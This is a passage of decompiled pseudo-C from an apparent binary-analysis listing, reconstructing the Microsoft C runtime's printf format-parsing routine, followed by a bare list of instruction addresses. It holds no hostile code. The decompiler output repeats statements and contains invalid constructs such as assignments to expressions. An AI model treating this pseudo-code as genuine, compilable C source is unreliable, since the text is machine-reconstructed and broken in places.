																							__eax =  *(__ebp - 0x18) * 0xa;
																							__ecx =  *((char*)(__ebp - 0x251));
																							_t87 = __ecx - 0x30; // -48
																							__edx = __eax + _t87;
																							 *(__ebp - 0x18) = __eax + _t87;
																						} else {
																							__eax = __ebp + 0x14;
																							 *(__ebp - 0x18) = E004285E0(__ebp + 0x14);
																							if( *(__ebp - 0x18) < 0) {
																								__ecx =  *(__ebp - 0x10);
																								__ecx =  *(__ebp - 0x10) | 0x00000004;
																								 *(__ebp - 0x10) = __ecx;
																								 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																								 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																							}
																						}
																						L30:
																						goto L209;
																					case 4:
																						L31:
																						 *(__ebp - 0x30) = 0;
																						goto L209;
																					case 5:
																						L32:
																						__eax =  *((char*)(__ebp - 0x251));
																						if( *((char*)(__ebp - 0x251)) != 0x2a) {
																							 *(__ebp - 0x30) =  *(__ebp - 0x30) * 0xa;
																							_t98 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
																							__ecx =  *(__ebp - 0x30) * 0xa + _t98;
																							 *(__ebp - 0x30) = __ecx;
																						} else {
																							__ecx = __ebp + 0x14;
																							 *(__ebp - 0x30) = E004285E0(__ebp + 0x14);
																							if( *(__ebp - 0x30) < 0) {
																								 *(__ebp - 0x30) = 0xffffffff;
																							}
																						}
																						goto L209;
																					case 6:
																						L38:
																						__edx =  *((char*)(__ebp - 0x251));
																						 *(__ebp - 0x308) =  *((char*)(__ebp - 0x251));
																						 *(__ebp - 0x308) =  *(__ebp - 0x308) - 0x49;
																						 *(__ebp - 0x308) =  *(__ebp - 0x308) - 0x49;
																						if( *(__ebp - 0x308) > 0x2e) {
																							L61:
																							goto L209;
																						}
																						L39:
																						__ecx =  *(__ebp - 0x308);
																						_t106 = __ecx + 0x428458; // 0x7d0f9003
																						__edx =  *_t106 & 0x000000ff;
																						switch( *((intOrPtr*)(( *_t106 & 0x000000ff) * 4 +  &M00428444))) {
																							case 0:
																								L44:
																								__edx =  *(__ebp + 0xc);
																								__eax =  *( *(__ebp + 0xc));
																								if( *( *(__ebp + 0xc)) != 0x36) {
																									L47:
																									__edx =  *(__ebp + 0xc);
																									__eax =  *( *(__ebp + 0xc));
																									if( *( *(__ebp + 0xc)) != 0x33) {
																										L50:
																										__edx =  *(__ebp + 0xc);
																										__eax =  *( *(__ebp + 0xc));
																										if( *( *(__ebp + 0xc)) == 0x64) {
																											L56:
																											L58:
																											goto L61;
																										}
																										L51:
																										__ecx =  *(__ebp + 0xc);
																										__edx =  *__ecx;
																										if( *__ecx == 0x69) {
																											goto L56;
																										}
																										L52:
																										__eax =  *(__ebp + 0xc);
																										__ecx =  *( *(__ebp + 0xc));
																										if(__ecx == 0x6f) {
																											goto L56;
																										}
																										L53:
																										__edx =  *(__ebp + 0xc);
																										__eax =  *( *(__ebp + 0xc));
																										if( *( *(__ebp + 0xc)) == 0x75) {
																											goto L56;
																										}
																										L54:
																										__ecx =  *(__ebp + 0xc);
																										__edx =  *__ecx;
																										if( *__ecx == 0x78) {
																											goto L56;
																										}
																										L55:
																										__eax =  *(__ebp + 0xc);
																										__ecx =  *( *(__ebp + 0xc));
																										if(__ecx != 0x58) {
																											 *(__ebp - 0x25c) = 0;
																											goto L9;
																										}
																										goto L56;
																									}
																									L48:
																									__ecx =  *(__ebp + 0xc);
																									__edx =  *((char*)(__ecx + 1));
																									if( *((char*)(__ecx + 1)) != 0x32) {
																										goto L50;
																									} else {
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																										__ecx =  *(__ebp - 0x10);
																										__ecx =  *(__ebp - 0x10) & 0xffff7fff;
																										 *(__ebp - 0x10) = __ecx;
																										goto L58;
																									}
																								}
																								L45:
																								__ecx =  *(__ebp + 0xc);
																								__edx =  *((char*)(__ecx + 1));
																								if( *((char*)(__ecx + 1)) != 0x34) {
																									goto L47;
																								} else {
																									 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																									 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																									__ecx =  *(__ebp - 0x10);
																									__ecx =  *(__ebp - 0x10) | 0x00008000;
																									 *(__ebp - 0x10) = __ecx;
																									goto L58;
																								}
																							case 1:
																								L59:
																								 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																								 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																								goto L61;
																							case 2:
																								L40:
																								__eax =  *(__ebp + 0xc);
																								__ecx =  *( *(__ebp + 0xc));
																								if(__ecx != 0x6c) {
																									__ecx =  *(__ebp - 0x10);
																									__ecx =  *(__ebp - 0x10) | 0x00000010;
																									 *(__ebp - 0x10) = __ecx;
																								} else {
																									 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																									 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																								}
																								goto L61;
																							case 3:
																								L60:
																								 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																								 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																								goto L61;
																							case 4:
																								goto L61;
																						}
																					case 7:
																						goto L62;
																					case 8:
																						L21:
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
																						goto L24;
																					case 9:
																						L22:
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																						goto L24;
																					case 0xa:
																						L20:
																						__ecx =  *(__ebp - 0x10);
																						__ecx =  *(__ebp - 0x10) | 0x00000001;
																						 *(__ebp - 0x10) = __ecx;
																						goto L24;
																					case 0xb:
																						L19:
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																						goto L24;
																					case 0xc:
																						L23:
																						__ecx =  *(__ebp - 0x10);
																						__ecx =  *(__ebp - 0x10) | 0x00000008;
																						 *(__ebp - 0x10) = __ecx;
																						goto L24;
																					case 0xd:
																						L24:
																						goto L209;
																				}
																			}
																			L210:
																			 *(_t666 - 0x2ec) =  *(_t666 - 0x24c);
																			E0041AFC0(_t666 - 0x40);
																			_t497 =  *(_t666 - 0x2ec);
																			goto L211;
																		}
																		L182:
																		if(( *(_t666 - 0x10) & 0x00000040) != 0) {
																			if(( *(_t666 - 0x10) & 0x00000100) == 0) {
																				if(( *(_t666 - 0x10) & 0x00000001) == 0) {
																					if(( *(_t666 - 0x10) & 0x00000002) != 0) {
																						 *((char*)(_t666 - 0x14)) = 0x20;
																						 *(_t666 - 0x1c) = 1;
																					}
																				} else {
																					 *((char*)(_t666 - 0x14)) = 0x2b;
																					 *(_t666 - 0x1c) = 1;
																				}
																			} else {
																				 *((char*)(_t666 - 0x14)) = 0x2d;
																				 *(_t666 - 0x1c) = 1;
																			}
																		}
																		 *((intOrPtr*)(_t666 - 0x2bc)) =  *((intOrPtr*)(_t666 - 0x18)) -  *((intOrPtr*)(_t666 - 0x24)) -  *(_t666 - 0x1c);
																		if(( *(_t666 - 0x10) & 0x0000000c) == 0) {
																			E004285A0(0x20,  *((intOrPtr*)(_t666 - 0x2bc)),  *((intOrPtr*)(_t666 + 8)), _t666 - 0x24c);
																			_t669 = _t669 + 0x10;
																		}
																		E004358F0( *(_t666 - 0x1c), _t666 - 0x14,  *(_t666 - 0x1c),  *((intOrPtr*)(_t666 + 8)), _t666 - 0x24c);
																		_t669 = _t669 + 0x10;
																		if(( *(_t666 - 0x10) & 0x00000008) != 0 && ( *(_t666 - 0x10) & 0x00000004) == 0) {
																			E004285A0(0x30,  *((intOrPtr*)(_t666 - 0x2bc)),  *((intOrPtr*)(_t666 + 8)), _t666 - 0x24c);
																			_t669 = _t669 + 0x10;
																		}
																		if( *(_t666 - 0xc) == 0 ||  *((intOrPtr*)(_t666 - 0x24)) <= 0) {
																			L203:
																			E004358F0( *((intOrPtr*)(_t666 - 4)),  *((intOrPtr*)(_t666 - 4)),  *((intOrPtr*)(_t666 - 0x24)),  *((intOrPtr*)(_t666 + 8)), _t666 - 0x24c);
																			_t669 = _t669 + 0x10;
																			goto L204;
																		} else {
																			L196:
																			 *(_t666 - 0x2d4) = 0;
																			 *((intOrPtr*)(_t666 - 0x2c0)) =  *((intOrPtr*)(_t666 - 4));
																			 *((intOrPtr*)(_t666 - 0x2c4)) =  *((intOrPtr*)(_t666 - 0x24));
																			while(1) {
																				L197:
																				 *((intOrPtr*)(_t666 - 0x2c4)) =  *((intOrPtr*)(_t666 - 0x2c4)) - 1;
																				if( *((intOrPtr*)(_t666 - 0x2c4)) == 0) {
																					break;
																				}
																				L198:
																				 *(_t666 - 0x316) =  *((intOrPtr*)( *((intOrPtr*)(_t666 - 0x2c0))));
																				_t532 = E004344A0(_t666 - 0x2c8, _t666 - 0x2d0, 6,  *(_t666 - 0x316) & 0x0000ffff);
																				_t669 = _t669 + 0x10;
																				 *(_t666 - 0x2d4) = _t532;
																				 *((intOrPtr*)(_t666 - 0x2c0)) =  *((intOrPtr*)(_t666 - 0x2c0)) + 2;
																				if( *(_t666 - 0x2d4) != 0 ||  *((intOrPtr*)(_t666 - 0x2c8)) == 0) {
																					L200:
																					 *(_t666 - 0x24c) = 0xffffffff;
																					break;
																				} else {
																					L201:
																					E004358F0( *((intOrPtr*)(_t666 + 8)), _t666 - 0x2d0,  *((intOrPtr*)(_t666 - 0x2c8)),  *((intOrPtr*)(_t666 + 8)), _t666 - 0x24c);
																					_t669 = _t669 + 0x10;
																					continue;
																				}
																			}
																			L202:
																			L204:
																			if( *(_t666 - 0x24c) >= 0 && ( *(_t666 - 0x10) & 0x00000004) != 0) {
																				E004285A0(0x20,  *((intOrPtr*)(_t666 - 0x2bc)),  *((intOrPtr*)(_t666 + 8)), _t666 - 0x24c);
																				_t669 = _t669 + 0x10;
																			}
																			goto L207;
																		}
																		L62:
																		__ecx =  *((char*)(__ebp - 0x251));
																		 *(__ebp - 0x30c) = __ecx;
																		__edx =  *(__ebp - 0x30c);
																		__edx =  *(__ebp - 0x30c) - 0x41;
																		 *(__ebp - 0x30c) = __edx;
																	} while ( *(__ebp - 0x30c) > 0x37);
																	_t147 =  *(__ebp - 0x30c) + 0x4284c4; // 0xcccccc0d
																	__ecx =  *_t147 & 0x000000ff;
																	switch( *((intOrPtr*)(__ecx * 4 +  &M00428488))) {
																		case 0:
																			L114:
																			 *(__ebp - 0x2c) = 1;
																			__ecx =  *((char*)(__ebp - 0x251));
																			__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
																			 *((char*)(__ebp - 0x251)) = __cl;
																			goto L115;
																		case 1:
																			L64:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																			}
																			goto L66;
																		case 2:
																			L79:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																			}
																			goto L81;
																		case 3:
																			L137:
																			 *((intOrPtr*)(__ebp - 0x260)) = 7;
																			goto L139;
																		case 4:
																			L72:
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x284) = E004285E0(__ebp + 0x14);
																			if( *(__ebp - 0x284) == 0) {
																				L74:
																				__edx =  *0x440f80; // 0x404478
																				 *(__ebp - 4) = __edx;
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E0041DFC0( *(__ebp - 4));
																				L78:
																				goto L181;
																			}
																			L73:
																			__ecx =  *(__ebp - 0x284);
																			if( *((intOrPtr*)( *(__ebp - 0x284) + 4)) != 0) {
																				L75:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																				if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																					 *(__ebp - 0xc) = 0;
																					__edx =  *(__ebp - 0x284);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x284);
																					__edx =  *__ecx;
																					 *(__ebp - 0x24) =  *__ecx;
																				} else {
																					__edx =  *(__ebp - 0x284);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x284);
																					__eax =  *__ecx;
																					asm("cdq");
																					 *__ecx - __edx =  *__ecx - __edx >> 1;
																					 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																					 *(__ebp - 0xc) = 1;
																				}
																				goto L78;
																			}
																			goto L74;
																		case 5:
																			L115:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			__eax = __ebp - 0x248;
																			 *(__ebp - 4) = __ebp - 0x248;
																			 *(__ebp - 0x44) = 0x200;
																			if( *(__ebp - 0x30) >= 0) {
																				L117:
																				if( *(__ebp - 0x30) != 0) {
																					L120:
																					if( *(__ebp - 0x30) > 0x200) {
																						 *(__ebp - 0x30) = 0x200;
																					}
																					L122:
																					if( *(__ebp - 0x30) > 0xa3) {
																						 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x20) = L0041BA60(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																						if( *(__ebp - 0x20) == 0) {
																							 *(__ebp - 0x30) = 0xa3;
																						} else {
																							__eax =  *(__ebp - 0x20);
																							 *(__ebp - 4) =  *(__ebp - 0x20);
																							 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																							 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																						}
																					}
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					__eax =  *(__ebp + 0x14);
																					_t274 = __eax - 8; // 0xe852f855
																					__ecx =  *_t274;
																					_t275 = __eax - 4; // 0xbc20
																					__edx =  *_t275;
																					 *(__ebp - 0x2a0) =  *_t274;
																					 *(__ebp - 0x29c) =  *_t275;
																					__ecx = __ebp - 0x40;
																					_push(E0041AFF0(__ebp - 0x40));
																					__eax =  *(__ebp - 0x2c);
																					_push( *(__ebp - 0x2c));
																					__ecx =  *(__ebp - 0x30);
																					_push( *(__ebp - 0x30));
																					__edx =  *((char*)(__ebp - 0x251));
																					_push( *((char*)(__ebp - 0x251)));
																					__eax =  *(__ebp - 0x44);
																					_push( *(__ebp - 0x44));
																					__ecx =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__edx = __ebp - 0x2a0;
																					_push(__ebp - 0x2a0);
																					__eax =  *0x440374; // 0xc0d8c8fb
																					__eax =  *__eax();
																					__esp = __esp + 0x1c;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) != 0 &&  *(__ebp - 0x30) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E0041AFF0(__ebp - 0x40));
																						__edx =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__eax =  *0x440380; // 0xc0d7763b
																						__eax =  *__eax();
																						__esp = __esp + 8;
																					}
																					__ecx =  *((char*)(__ebp - 0x251));
																					if( *((char*)(__ebp - 0x251)) == 0x67) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																						if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																							__ecx = __ebp - 0x40;
																							_push(E0041AFF0(__ebp - 0x40));
																							__eax =  *(__ebp - 4);
																							_push( *(__ebp - 4));
																							__ecx =  *0x44037c; // 0xc0d772bb
																							E00424860(__ecx) =  *__eax();
																							__esp = __esp + 8;
																						}
																					}
																					__edx =  *(__ebp - 4);
																					__eax =  *( *(__ebp - 4));
																					if( *( *(__ebp - 4)) == 0x2d) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 4) =  *(__ebp - 4) + 1;
																						 *(__ebp - 4) =  *(__ebp - 4) + 1;
																					}
																					__eax =  *(__ebp - 4);
																					 *(__ebp - 0x24) = E0041DFC0( *(__ebp - 4));
																					goto L181;
																				}
																				L118:
																				__ecx =  *((char*)(__ebp - 0x251));
																				if(__ecx != 0x67) {
																					goto L120;
																				}
																				L119:
																				 *(__ebp - 0x30) = 1;
																				goto L122;
																			}
																			L116:
																			 *(__ebp - 0x30) = 6;
																			goto L122;
																		case 6:
																			L66:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																			if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																				__ebp + 0x14 = E004285E0(__ebp + 0x14);
																				 *(__ebp - 0x280) = __ax;
																				__cl =  *(__ebp - 0x280);
																				 *(__ebp - 0x248) = __cl;
																				 *(__ebp - 0x24) = 1;
																			} else {
																				 *(__ebp - 0x27c) = 0;
																				__edx = __ebp + 0x14;
																				__eax = E00428620(__ebp + 0x14);
																				 *(__ebp - 0x258) = __ax;
																				__eax =  *(__ebp - 0x258) & 0x0000ffff;
																				__ecx = __ebp - 0x248;
																				__edx = __ebp - 0x24;
																				 *(__ebp - 0x27c) = E004344A0(__ebp - 0x24, __ebp - 0x248, 0x200,  *(__ebp - 0x258) & 0x0000ffff);
																				if( *(__ebp - 0x27c) != 0) {
																					 *(__ebp - 0x28) = 1;
																				}
																			}
																			__edx = __ebp - 0x248;
																			 *(__ebp - 4) = __ebp - 0x248;
																			goto L181;
																		case 7:
																			L135:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 8) = 0xa;
																			goto L144;
																		case 8:
																			L100:
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 0x294) = E004285E0(__ebp + 0x14);
																			if(E00434180() != 0) {
																				L110:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																				if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																					__edx =  *(__ebp - 0x294);
																					__eax =  *(__ebp - 0x24c);
																					 *( *(__ebp - 0x294)) =  *(__ebp - 0x24c);
																				} else {
																					__eax =  *(__ebp - 0x294);
																					 *( *(__ebp - 0x294)) =  *(__ebp - 0x24c);
																				}
																				 *(__ebp - 0x28) = 1;
																				goto L181;
																			}
																			L101:
																			__edx = 0;
																			if(0 == 0) {
																				 *(__ebp - 0x314) = 0;
																			} else {
																				 *(__ebp - 0x314) = 1;
																			}
																			__eax =  *(__ebp - 0x314);
																			 *(__ebp - 0x298) =  *(__ebp - 0x314);
																			if( *(__ebp - 0x298) == 0) {
																				_push(L"(\"\'n\' format specifier disabled\", 0)");
																				_push(0);
																				_push(0x695);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				__eax = L0041E520();
																				__esp = __esp + 0x14;
																				if(__eax == 1) {
																					asm("int3");
																				}
																			}
																			if( *(__ebp - 0x298) != 0) {
																				L109:
																				goto L181;
																			} else {
																				L108:
																				 *((intOrPtr*)(L00423010(__ecx))) = 0x16;
																				__eax = E00422DA0(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_output_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																				 *(__ebp - 0x2e8) = 0xffffffff;
																				__ecx = __ebp - 0x40;
																				__eax = E0041AFC0(__ecx);
																				__eax =  *(__ebp - 0x2e8);
																				goto L211;
																			}
																		case 9:
																			L142:
																			 *(__ebp - 8) = 8;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000200;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000200;
																			}
																			goto L144;
																		case 0xa:
																			L136:
																			 *(__ebp - 0x30) = 8;
																			goto L137;
																		case 0xb:
																			L81:
																			if( *(__ebp - 0x30) != 0xffffffff) {
																				__edx =  *(__ebp - 0x30);
																				 *(__ebp - 0x310) =  *(__ebp - 0x30);
																			} else {
																				 *(__ebp - 0x310) = 0x7fffffff;
																			}
																			__eax =  *(__ebp - 0x310);
																			 *(__ebp - 0x28c) =  *(__ebp - 0x310);
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 4) = E004285E0(__ebp + 0x14);
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																			if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																				L92:
																				if( *(__ebp - 4) == 0) {
																					__edx =  *0x440f80; // 0x404478
																					 *(__ebp - 4) = __edx;
																				}
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x288) =  *(__ebp - 4);
																				while(1) {
																					L95:
																					__ecx =  *(__ebp - 0x28c);
																					 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																					 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																					if(__ecx == 0) {
																						break;
																					}
																					L96:
																					__eax =  *(__ebp - 0x288);
																					__ecx =  *( *(__ebp - 0x288));
																					if(__ecx == 0) {
																						break;
																					}
																					L97:
																					 *(__ebp - 0x288) =  *(__ebp - 0x288) + 1;
																					 *(__ebp - 0x288) =  *(__ebp - 0x288) + 1;
																				}
																				L98:
																				 *(__ebp - 0x288) =  *(__ebp - 0x288) -  *(__ebp - 4);
																				 *(__ebp - 0x24) =  *(__ebp - 0x288) -  *(__ebp - 4);
																				goto L99;
																			} else {
																				L85:
																				if( *(__ebp - 4) == 0) {
																					__eax =  *0x440f84; // 0x404468
																					 *(__ebp - 4) = __eax;
																				}
																				 *(__ebp - 0xc) = 1;
																				__ecx =  *(__ebp - 4);
																				 *(__ebp - 0x290) =  *(__ebp - 4);
																				while(1) {
																					L88:
																					__edx =  *(__ebp - 0x28c);
																					 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																					 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																					if( *(__ebp - 0x28c) == 0) {
																						break;
																					}
																					L89:
																					__ecx =  *(__ebp - 0x290);
																					__edx =  *( *(__ebp - 0x290)) & 0x0000ffff;
																					if(( *( *(__ebp - 0x290)) & 0x0000ffff) == 0) {
																						break;
																					}
																					L90:
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) + 2;
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) + 2;
																				}
																				L91:
																				 *(__ebp - 0x290) =  *(__ebp - 0x290) -  *(__ebp - 4);
																				__ecx =  *(__ebp - 0x290) -  *(__ebp - 4) >> 1;
																				 *(__ebp - 0x24) = __ecx;
																				L99:
																				goto L181;
																			}
																		case 0xc:
																			goto L0;
																		case 0xd:
																			L138:
																			 *((intOrPtr*)(__ebp - 0x260)) = 0x27;
																			L139:
																			 *(__ebp - 8) = 0x10;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				 *((char*)(__ebp - 0x14)) = 0x30;
																				 *((intOrPtr*)(__ebp - 0x260)) =  *((intOrPtr*)(__ebp - 0x260)) + 0x51;
																				 *((char*)(__ebp - 0x13)) = __al;
																				 *(__ebp - 0x1c) = 2;
																			}
																			goto L144;
																		case 0xe:
																			goto L181;
																	}
																}
															}
														}
													}
												}
											}
										}
									}
								}
							}
						}
					}
				}
			}

0x00427ecc
0x00427ecc
0x00427ecc
0x00427ecc
0x00427ecc
0x00000000
0x00427f3b
0x00000000
0x00427f3b
0x00000000
0x00427f3b
0x00427f3b
0x00427f43
0x00427f65
0x00427f6b
0x00427f90
0x00427fd7
0x00427fda
0x00427ffb
0x00428000
0x00428005
0x0042800b
0x00427fdc
0x00427fe0
0x00427fe5
0x00427fe8
0x00427fe9
0x00427fef
0x00427fef
0x00427f92
0x00427f95
0x00427f98
0x00427fba
0x00427fbf
0x00427fc5
0x00427fc6
0x00427fcc
0x00427f9a
0x00427f9e
0x00427fa3
0x00427fa7
0x00427fa8
0x00427fae
0x00427fae
0x00427fd2
0x00427f6d
0x00427f71
0x00427f76
0x00427f79
0x00427f7f
0x00427f7f
0x00427f45
0x00427f49
0x00427f4e
0x00427f51
0x00427f57
0x00427f57
0x00428017
0x00428059
0x0042805f
0x0042806b
0x00000000
0x00428019
0x00428019
0x00428019
0x00428020
0x00000000
0x0042802d
0x0042802d
0x0042803b
0x00428040
0x00428046
0x00428054
0x00428071
0x00428079
0x0042809b
0x0042809b
0x004280a5
0x004280b6
0x004280c0
0x004280c2
0x004280c2
0x004280a7
0x004280a7
0x004280a7
0x004280d5
0x004280d7
0x004280d7
0x004280e1
0x004280e4
0x004280e4
0x004280ea
0x004280ed
0x004280f2
0x00000000
0x00000000
0x00428102
0x00428105
0x0042810f
0x0042811e
0x00428127
0x0042813d
0x00428143
0x00428150
0x0042815e
0x0042815e
0x0042816d
0x00428175
0x00428175
0x0042817d
0x00428183
0x0042818c
0x00428198
0x004281b1
0x004281b7
0x004281c0
0x004281c0
0x00000000
0x004281c3
0x00000000
0x004281c3
0x00000000
0x004281c3
0x00000000
0x004281c3
0x00000000
0x004281c3
0x00000000
0x004281c3
0x00000000
0x004281c3
0x004281c3
0x004281c3
0x004281c7
0x004283ae
0x004283b2
0x004283ba
0x004283bf
0x004283c2
0x004283c2
0x004283c9
0x004283c9
0x0042754f
0x00427562
0x00427567
0x00000000
0x0042757a
0x00427584
0x004275ab
0x00427592
0x004275a3
0x004275a3
0x00427584
0x004275b5
0x004275bb
0x004275cd
0x004275d8
0x004275e4
0x004275f1
0x00000000
0x00000000
0x004275f7
0x004275fd
0x00000000
0x00427604
0x00427604
0x0042761c
0x00427621
0x00427626
0x004276e0
0x004276f3
0x004276f8
0x00000000
0x0042762c
0x0042763f
0x00427644
0x0042764a
0x0042764c
0x00427655
0x00427658
0x00427664
0x00427668
0x0042766e
0x00427670
0x00427675
0x00427677
0x0042767c
0x00427681
0x00427683
0x00427688
0x0042768e
0x00427690
0x00427690
0x0042768e
0x00427691
0x00427698
0x00000000
0x0042769a
0x0042769f
0x004276bb
0x004276c3
0x004276d0
0x004276d5
0x004283e8
0x004283f5
0x004283f5
0x00427698
0x00000000
0x00427700
0x00427700
0x00427707
0x0042770a
0x0042770d
0x00427710
0x00427713
0x00427716
0x00427719
0x00427720
0x00427727
0x00000000
0x00000000
0x00427733
0x00427733
0x0042773a
0x00427746
0x00427749
0x00427756
0x00000000
0x00000000
0x00427758
0x00427758
0x0042775e
0x0042775e
0x00427765
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004277a8
0x004277a8
0x004277b2
0x004277dc
0x004277df
0x004277e2
0x004277e9
0x004277e9
0x004277ed
0x004277b4
0x004277b4
0x004277c0
0x004277c7
0x004277c9
0x004277cc
0x004277cf
0x004277d5
0x004277d7
0x004277d7
0x004277da
0x004277f0
0x00000000
0x00000000
0x004277f5
0x004277f5
0x00000000
0x00000000
0x00427801
0x00427801
0x0042780b
0x0042782e
0x00427838
0x00427838
0x0042783c
0x0042780d
0x0042780d
0x00427819
0x00427820
0x00427822
0x00427822
0x00427829
0x00000000
0x00000000
0x00427844
0x00427844
0x0042784b
0x00427857
0x0042785a
0x00427867
0x0042797a
0x00000000
0x0042797a
0x0042786d
0x0042786d
0x00427873
0x00427873
0x0042787a
0x00000000
0x004278b0
0x004278b0
0x004278b3
0x004278b9
0x004278e1
0x004278e1
0x004278e4
0x004278ea
0x0042790f
0x0042790f
0x00427912
0x00427918
0x00427951
0x00427962
0x00000000
0x00427962
0x0042791a
0x0042791a
0x0042791d
0x00427923
0x00000000
0x00000000
0x00427925
0x00427925
0x00427928
0x0042792e
0x00000000
0x00000000
0x00427930
0x00427930
0x00427933
0x00427939
0x00000000
0x00000000
0x0042793b
0x0042793b
0x0042793e
0x00427944
0x00000000
0x00000000
0x00427946
0x00427946
0x00427949
0x0042794f
0x00427953
0x00000000
0x00427953
0x00000000
0x0042794f
0x004278ec
0x004278ec
0x004278ef
0x004278f6
0x00000000
0x004278f8
0x004278fb
0x004278fe
0x00427901
0x00427904
0x0042790a
0x00000000
0x0042790a
0x004278f6
0x004278bb
0x004278bb
0x004278be
0x004278c5
0x00000000
0x004278c7
0x004278ca
0x004278cd
0x004278d0
0x004278d3
0x004278d9
0x00000000
0x004278d9
0x00000000
0x00427964
0x00427967
0x0042796a
0x00000000
0x00000000
0x00427881
0x00427881
0x00427884
0x0042788a
0x004278a2
0x004278a5
0x004278a8
0x0042788c
0x0042788f
0x00427892
0x00427898
0x0042789d
0x0042789d
0x00000000
0x00000000
0x0042796f
0x00427972
0x00427977
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00427782
0x00427785
0x00427788
0x00000000
0x00000000
0x0042778d
0x00427790
0x00427795
0x00000000
0x00000000
0x00427777
0x00427777
0x0042777a
